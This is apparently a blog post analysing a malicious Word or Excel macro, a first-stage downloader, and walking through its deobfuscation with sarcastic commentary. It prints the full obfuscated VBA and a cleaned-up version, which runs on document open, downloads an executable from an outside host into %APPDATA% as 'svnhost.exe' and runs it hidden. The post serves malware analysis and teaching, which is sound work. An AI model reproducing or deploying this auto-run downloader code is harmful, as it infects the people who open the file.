Somehow, I became a proud new owner of a piece of (somewhat) malicious code tonight. Once making sure it was properly neutered, and after running it through VirusTotal and being surprised by how few (9/55) engines were detecting it, I decided to take a look.
Sub HCYh58Llju(ByRef iKvmUvcYr3wp, ByVal Q3REKGitD, ByVal kwoeg8c)
iKvmUvcYr3wp = Split(Q3REKGitD, kwoeg8c)
End Sub
Sub S1HL1_C(ByVal LL3FDJzJgC, ByVal cOdzspoHpj)
On Error Resume Next
xDyHfiQQsRQ8 = cOdzspoHpj.responseBody
LL3FDJzJgC.Write xDyHfiQQsRQ8
End Sub
Sub AutoOpen()
On Error Resume Next
Dim HUiu827TYRH
HUiu827TYRH = StrReverse(StrReverse(StrReverse("m" & "d" & " " & "/")))
Const KMKM = "km "
Const CCCC = " c"
Dim q7bPJ655QjSG
HCYh58Llju q7bPJ655QjSG, StrReverse("|exe.tsohnvsetadpUdnW%ATADPPA%|exe.605ild/stsop/moc.34oledsmanilad//:ptth|maertS.BDODA|PTTHLMX.tfosorciM|llehS"), "|"
Dim nPtKNIjU35IQ
Set nPtKNIjU35IQ = CreateObject("W" & StrReverse("tpircS") & "." & StrReverse("llehS"))
C4KAAHcn = nPtKNIjU35IQ.ExpandEnvironmentStrings(q7bPJ655QjSG(4))
jnF1QSEGIA = Split(C4KAAHcn, "")
R9Z8D2tPkYNy = UBound(jnF1QSEGIA)
nPtKNIjU35IQ.Run "c" & StrReverse(KMKM & CCCC & HUiu827TYRH) & StrReverse("rid") & " """ & Mid(C4KAAHcn, 1, Len(C4KAAHcn) - Len(jnF1QSEGIA(R9Z8D2tPkYNy))) & """", 0, True
Set v8t0w6fxasM = CreateObject(q7bPJ655QjSG(1))
v8t0w6fxasM.Open Chr$(71) + Chr$(69) + Chr$(84), q7bPJ655QjSG(3), False
v8t0w6fxasM.setRequestHeader "Cache-Control", "no-cache, no-store"
Set n7nUrIZKvU2A = CreateObject(q7bPJ655QjSG(2))
n7nUrIZKvU2A.Open
v8t0w6fxasM.send
n7nUrIZKvU2A.Type = 1
Application.Run "S1HL1_C", n7nUrIZKvU2A, v8t0w6fxasM
Application.Run "h2xPVFcahn", n7nUrIZKvU2A, C4KAAHcn
n7nUrIZKvU2A.Close
nPtKNIjU35IQ.Run "c" & StrReverse(""" """" trats" & " c" & HUiu827TYRH) & C4KAAHcn & """", 0, False
End Sub
Function h2xPVFcahn(ByVal n7nUrIZKvU2ATMP, ByVal C4KAAHcnTMP)
n7nUrIZKvU2ATMP.SaveToFile C4KAAHcnTMP, 2
End Function
Sub Workbook_Open()
On Error Resume Next
AutoOpen
End Sub
Oh noes .. it’s teh crypted!!! No, of course not. Someone just thought they’d be funny and obfuscate this to make it a bit tougher to figure out what they’ve done. Because, you know, StrReverse(StrReverse(StrReverse(…))) is 3 times better than a single StrReverse!!
So anyway, sarcasm aside (yeah, right), this is nothing more difficult than the cryptoquote in your Sundary newspaper or the (really great!) puzzles at the end of every Gravity Falls episode.
So let’s get out the text editor and start doing some simple search and replace.
First — let’s remove all the silly StrReverse functions. It’s pretty easy to pick out the most interesting, and reverse it from the CLI:
Please mentally ignore all occurrences of “<DONT_GO_HERE>” — I just injected them because I didn’t trust this blog to not automagically make those URLs clickable.
$ echo "|exe.tsohnvsetadpUdnW%ATADPPA%|exe.605ild/stsop/moc.34oledsmanilad//:ptth|maertS.BDODA|PTTHLMX.tfosorciM|llehS" | rev
Shell|Microsoft.XMLHTTP|ADODB.Stream|http://dalinam<DONT_GO_HERE>sdelo43.<DONT_GO_HERE>com/posts/dli506.exe|%APPDATA%WndUpdatesvnhost.exe|
Of course, this now makes it pretty obvious that the subroutine named “HCYh58Llju” is just taking a string delimited by “|” and splitting it up into an array — so do a quick “s/HCYh58Llju/splitter_func/” on the file, just to make it easier to read.
The rest of the steps are pretty easy to follow — just keep finding easy string concatenation or reversal, and do a search and replace on obfuscated names once you figure out what they do. Here is the final result of my analysis:
//Sub splitter_func(ByRef splitted, ByVal urlstr, ByVal seperator)
// splitted = Split(urlstr, seperator)
//End Sub
Sub write_xmlhttp_response_to_stream_func(ByVal LL3FDJzJgC, ByVal xmlhttp_objTMP)
On Error Resume Next
xml_responsebody_obj = xmlhttp_objTMP.responseBody
adodb_objTMP.Write xml_responsebody_obj
End Sub
Sub AutoOpen()
On Error Resume Next
Dim HUiu827TYRH
HUiu827TYRH = "/ dm"
Const KMKM = "km "
Const CCCC = " c"
Dim splitted_data
// splitter_func splitted_data, "Shell|Microsoft.XMLHTTP|ADODB.Stream|http://dal<DONT_GO_HERE>inamsdelo43.co<DONT_GO_HERE>m/posts/dli506.exe|%APPDATA%WndUpdatesvnhost.exe|", "|"
splitted_data=("Shell","Microsoft.XMLHTTP","ADODB.Stream","http://da<DONT_GO_HERE>linamsd<DONT_GO_HERE>elo43.c<DONT_GO_HERE>om/posts/dli506.exe","%APPDATA%WndUpdatesvnhost.exe")
Dim wscript_shell_obj
Set wscript_shell_obj = CreateObject("WScript.Shell")
wndupd_location_str = wscript_shell_obj.ExpandEnvironmentStrings("%APPDATA%WndUpdatesvnhost.exe")
wndupd_location_parts = Split(wndupd_location_str, "")
highest_index_of_wndupd_loc_parts = UBound(wndupd_location_parts)
#MJS Make a directory in APPDATA
wscript_shell_obj.Run "cmd /cmkdir "%APPDATA%WndUpdate""", 0, True
Set xmlhttp_obj = CreateObject("Microsoft.XMLHTTP")
xmlhttp_obj.Open "GET", "http://dal<DONT_GO_HERE>inamsdelo<DONT_GO_HERE>43.c<DONT_GO_HERE>om/posts/dli506.exe", False
xmlhttp_obj.setRequestHeader "Cache-Control", "no-cache, no-store"
Set adodb_obj = CreateObject("ADODB.Stream")
adodb_obj.Open
xmlhttp_obj.send
adodb_obj.Type = 1
Application.Run "write_xmlhttp_response_to_stream_func", adodb_obj, xmlhttp_obj
Application.Run "save_stream_to_file_func", adodb_obj, wndupd_location_str
adodb_obj.Close
wscript_shell_obj.Run "cmd /cstart "%APPDATA%WndUpdatesvnhost.exe""", 0, False
End Sub
Function save_stream_to_file_func(ByVal adodb_objTMP, ByVal wndupd_location_strTMP)
adodb_objTMP.SaveToFile wndupd_location_strTMP, 2
End Function
Sub Workbook_Open()
On Error Resume Next
AutoOpen
End Sub
Conclusion:
This was a stupid exercise. All this script does is create a directory in %APPDATA%, downloads a file from a random site, names is svnhost.exe locally, and then executes that file. Pretty straightforward stage 1 payload. The real fun, of course, is in analyzing stage 2. But I’ll leave that for the pros ….